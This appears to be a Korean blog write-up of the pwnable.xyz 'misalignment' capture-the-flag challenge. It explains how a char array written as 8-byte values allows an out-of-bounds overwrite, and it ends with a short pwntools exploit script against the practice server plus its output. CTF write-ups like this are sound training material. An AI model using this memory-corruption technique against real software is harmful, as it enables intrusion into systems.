ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • misalignment write up
    System hacking training/pwnable.xyz 2020. 1. 1. 18:49

    misalignment(50)
    prob

    pwnable.xyz 4번째 문제, 50점 배점이다.

     

    file, checksec

    64bit ELF 바이너리이며 모든 보호기법이 적용되어있다.

     

    IDA-View main()

    add문제와 비슷하면서도 다른 문제다.

    주된 차이점으로 add문제에서는 입력값이 연산되어 저장되는 배열이 __int64로 선언되어 한 공간에 8byte씩 할당이 되었는데, 이 문제에서는 char형으로 1byte씩 메모리 공간을 할당하여 사용하고 있다.

     

    이 문제에서 flag를 얻기 위해서는 v6[7]에 0xB000000B5이 저장되어야한다.

     

    앞선 문제와 동일하게 사용자 입력을 통해 사용자가 원하는 값을 세팅할 수 있지만 그 값을 넣을 수 있는 위치는 지정할 수 없다.

     

    그 조건은 line 17과 같이 9보다 작거나 같고, -7보다 크거나 같아야한다.

    if : -7 <= v9 <= 9

    이 때문에 마지막 입력값 v9를 이용하여 접근할 수 있는 메모리는 제한되어있고,

    앞선 add문제 풀이 방법처럼 ret에 직접 접근하여 그 위치에 값을 넣을 수 없다.

     

    하지만 배열이 char형으로 선언되어있고, 값을 저장할 때 (_QWORD) 즉, 8byte로 저장하기 때문에 접근이 가능하다.

     

    v6[8 * (v9 + 6)] = v7 + v8 에서 v9에 대한 입력 조건을 만족하면서 v6배열을 건드릴 수 있는 v9는 -6과 -5다.

    v6[8 * (v9 + 6)] = v7 + v8

    v9에 -6을 입력하면 v6[0]에 값을 저장할 수 있고, -5를 입력하면 v[8]에 값을 쓸 수 있다.

    배열 선언

    v6은 다음과 같이 1byte씩 15개의 공간이 할당된다.

     

    first input

    이제 v9에 -6이 들어가면 QWORD(8byte)만큼 저장하기 때문에

    다음과 같이 v6[0 ~ 7] 공간에 원하는 값을 저장할 수 있다.

     

    second input

    그리고 -5를 입력했을 때 다음과 같이 v6[7 ~ 14] 공간에 접근 및 값을 쓸 수 있다.

     

    따라서 두번에 걸쳐서 if문 조건에 만족하는 0xB000000B5값을 넣고, 반복문을 빠져나오면 flag를 획득할 수 있다.

    (물론 10진수로 입력 받기 때문에 10진수로 입력해야한다.)

     

    from pwn import *
    
    p = remote('svc.pwnable.xyz', 30003)
    
    p.sendline('0 -5404319552844595200 -6')
    
    p.sendline('0 184549376 -5')
    
    p.sendline('d')
    
    p.interactive()
    ⚡ root@ubuntu  /mnt/hgfs/vm_shared/pwnable.xyz  python a.py 
    [+] Opening connection to svc.pwnable.xyz on port 30003: Done
    [*] Switching to interactive mode
    Result: -5404319552844595200
    Result: 184549376
    FLAG{-----------------------------}[*] Got EOF while reading in interactive
    $ 
    [*] Interrupted
    [*] Closed connection to svc.pwnable.xyz port 30003
    반응형

    'System hacking training > pwnable.xyz' 카테고리의 다른 글

    note write up  (1) 2020.01.10
    GrownUp write up  (0) 2020.01.02
    add write up  (0) 2020.01.01
    sub write up  (0) 2019.12.31
    Welcome write up  (0) 2019.12.22
Designed by Tistory.